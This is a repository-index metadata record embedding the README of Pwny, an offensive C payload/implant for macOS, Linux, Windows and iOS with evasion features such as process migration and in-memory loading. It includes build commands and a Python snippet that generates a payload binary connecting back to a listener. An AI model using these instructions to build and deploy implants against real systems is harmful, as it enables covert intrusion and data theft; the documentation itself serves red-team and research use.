{"id":21845267,"url":"https://github.com/entysec/pwny","last_synced_at":"2025-09-01T16:46:00.500Z","repository":{"id":214225870,"uuid":"627885434","full_name":"EntySec/Pwny","owner":"EntySec","description":"Pwny is an implementation of an advanced payload written in pure C and designed for portability and extensibility.","archived":false,"fork":false,"pushed_at":"2024-12-02T08:38:16.000Z","size":42140,"stargazers_count":75,"open_issues_count":0,"forks_count":14,"subscribers_count":2,"default_branch":"main","last_synced_at":"2025-06-13T04:44:30.840Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"","language":"C","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/EntySec.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null},"funding":{"github":"entysec"}},"created_at":"2023-04-14T12:16:35.000Z","updated_at":"2025-06-06T16:45:20.000Z","dependencies_parsed_at":"2023-12-29T23:24:47.097Z","dependency_job_id":"07f61798-bd1b-402e-ace3-e2b22ddadb80","html_url":"https://github.com/EntySec/Pwny","commit_stats":null,"previous_names":["entysec/pwny"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/EntySec/Pwny","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EntySec%2FPwny","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EntySec%2FPwny/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EntySec%2FPwny/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EntySec%2FPwny/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/EntySec","download_url":"https://codeload.github.com/EntySec/Pwny/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EntySec%2FPwny/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":273158293,"owners_count":25055859,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-09-01T02:00:09.058Z","response_time":120,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-11-27T23:08:54.032Z","updated_at":"2025-09-01T16:46:00.468Z","avatar_url":"https://github.com/EntySec.png","language":"C","funding_links":["https://github.com/sponsors/entysec"],"categories":[],"sub_categories":[],"readme":"\n\u003ch3 align=\"left\"\u003e\n    \u003cimg width=\"70%\" src=\"docs/demo.svg\"\u003e\n\u003c/h3\u003e\n\n*Friendly like a Pony, Mighty like a Knight*\n\n[![Developer](https://img.shields.io/badge/developer-EntySec-blue.svg)](https://entysec.com)\n[![Language](https://img.shields.io/badge/language-C-grey.svg)](https://github.com/EntySec/Pwny)\n[![Language](https://img.shields.io/badge/language-Python-blue.svg)](https://github.com/EntySec/Pwny)\n[![Forks](https://img.shields.io/github/forks/EntySec/Pwny?style=flat\u0026color=green)](https://github.com/EntySec/Pwny/forks)\n[![Stars](https://img.shields.io/github/stars/EntySec/Pwny?style=flat\u0026color=yellow)](https://github.com/EntySec/Pwny/stargazers)\n[![CodeFactor](https://www.codefactor.io/repository/github/EntySec/Pwny/badge)](https://www.codefactor.io/repository/github/EntySec/Pwny)\n\nPwny is an implementation of an advanced payload written in pure C and designed for portability and extensibility.\n\nThis repository contains Pwny, which is supposed to work on *macOS*, *Linux*, *Windows* and *iOS*, but can be ported to almost every POSIX system. Pwny is optimized to work with or without [HatSploit Framework](https://github.com/EntySec/HatSploit).\n\n## Features\n\n* Portable C code that can be compiled for a big range of targets.\n* Support for *macOS*, *Linux*, *Windows* and *iOS* targets.\n* Small executable with low resource utilization optimized for embedded systems.\n* Dynamically-extendable, supports loading plugins (TABs) which extend its functionality.\n* Evasion techniques such as process migration and in-memory loading.\n\n## Installing\n\nTo install Pwny you simply need to install [HatSploit Framework](https://github.com/EntySec/HatSploit) and this will make Pwny available automatically.\n\n```\npip3 install git+https://github.com/EntySec/HatSploit\n```\n\n## Building\n\n**Building dependencies:**\n\n```\nmake TARGET=\u003ctarget\u003e\n```\n\n**NOTE:** For *macOS / iOS* targets you are required to set `SDK` to the desired SDK path before running `make`. For example:\n\n```\nmake TARGET=\u003ctarget\u003e SDK=\u003cpath\u003e\n```\n\nYou can find list of supported `TARGET` values for different platforms.\n\n\u003cdetails\u003e\n    \u003csummary\u003eLinux\u003c/summary\u003e\u003cbr\u003e\n    \u003ccode\u003eaarch64-linux-musl\u003c/code\u003e\u003cbr\u003e\n    \u003ccode\u003earmv5l-linux-musleabi\u003c/code\u003e\u003cbr\u003e\n    \u003ccode\u003ei486-linux-musl\u003c/code\u003e\u003cbr\u003e\n    \u003ccode\u003ex86_64-linux-musl\u003c/code\u003e\u003cbr\u003e\n    \u003ccode\u003epowerpc-linux-muslsf\u003c/code\u003e\u003cbr\u003e\n    \u003ccode\u003epowerpc64le-linux-musl\u003c/code\u003e\u003cbr\u003e\n    \u003ccode\u003emips-linux-muslsf\u003c/code\u003e\u003cbr\u003e\n    \u003ccode\u003emipsel-linux-muslsf\u003c/code\u003e\u003cbr\u003e\n    \u003ccode\u003emips64-linux-musl\u003c/code\u003e\u003cbr\u003e\n    \u003ccode\u003es390x-linux-musl\u003c/code\u003e\u003cbr\u003e\n    \u003cbr\u003e\n\u003c/details\u003e\n\n\u003cdetails\u003e\n    \u003csummary\u003eWindows\u003c/summary\u003e\u003cbr\u003e\n    \u003ccode\u003ex86_64-w64-mingw32\u003c/code\u003e\u003cbr\u003e\n    \u003ccode\u003ex86_64-w64-mingw32\u003c/code\u003e\u003cbr\u003e\n    \u003cbr\u003e\n\u003c/details\u003e\n\n\u003cdetails\u003e\n    \u003csummary\u003emacOS / iOS\u003c/summary\u003e\u003cbr\u003e\n    \u003ccode\u003earm-iphone-darwin\u003c/code\u003e\u003cbr\u003e\n    \u003ccode\u003eaarch64-iphone-darwin\u003c/code\u003e\u003cbr\u003e\n    \u003ccode\u003ei386-apple-darwin\u003c/code\u003e\u003cbr\u003e\n    \u003ccode\u003ex86_64-apple-darwin\u003c/code\u003e\u003cbr\u003e\n    \u003ccode\u003eaarch64-apple-darwin\u003c/code\u003e\u003cbr\u003e\n    \u003cbr\u003e\n\u003c/details\u003e\n\n**Building sources:**\n\n```shell\ncmake -DCMAKE_TOOLCHAIN_FILE=\u003ctoolchain\u003e -B build\ncmake --build build\n```\n\n**NOTE:** For *macOS / iOS* targets you are required to set `CMAKE_OSX_SYSROOT` to the desired SDK path with `-D`. For example:\n\n```shell\ncmake -DCMAKE_TOOLCHAIN_FILE=\u003ctoolchain\u003e -DCMAKE_OSX_SYSROOT=\u003cpath\u003e -B build\n```\n\n**NOTE:** Toolchains are located at `toolchain/cmake/`.\n\nThese are other `cmake` build options:\n\n* `MAIN` - Should be `ON` if you want to build a source file to executable.\n* `SOURCE` - Custom executable source file (default are in `src/main/`).\n* `DEBUG` - Should be `ON` if you want to build Pwny in debug mode.\n* `BUNDLE` - Build as bundle (macOS specific flag, adds `-bundle`)\n* `SHARED` - Build shared object instead.\n\n**Quick scripts:**\n\n* `cross.sh` - Install Linux cross-compilers to `/etc/cross/`.\n* `build-linux.sh` - Build Pwny for all Linux targets and deploy to `pwny/templates/`.\n\n## Basic usage\n\nTo use Pwny and build payloads you should import it to your source.\n\n```python3\nfrom pwny import Pwny\nfrom pwny.session import PwnySession\n```\n\n* `Pwny` - Pwny object that is used to generate payload implant.\n\n```python3\npwny = Pwny(\n    target='aarch64-apple-darwin',\n    options={\n        'uri': 'tcp://127.0.0.1:8888'\n    }\n)\n\nwith open('payload.exe', 'wb') as f:\n    f.write(pwny.to_binary())\n```\n\n* `PwnySession` - Wrapper for `HatSploitSession` for Pwny, HatSploit should use it with Pwny payload. It might also be used without HatSploit as demonstrated in `examples/listener.py`.\n\n## Projects\n\n* [SeaShell Framework](https://github.com/EntySec/SeaShell) - iOS post-exploitation framework that enables you to access the device remotely, control it and extract sensitive information. SeaShell actively uses Pwny implant to communicate with iOS.\n\n## Caveats\n\nThe code provided in this repository has not yet been prepared for use in a production environment. It can be improved, so any contribution is welcome. You can even experience memory leaks, so we'll be glad to accept every single PR which is fixing a potential issue.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fentysec%2Fpwny","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fentysec%2Fpwny","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fentysec%2Fpwny/lists"}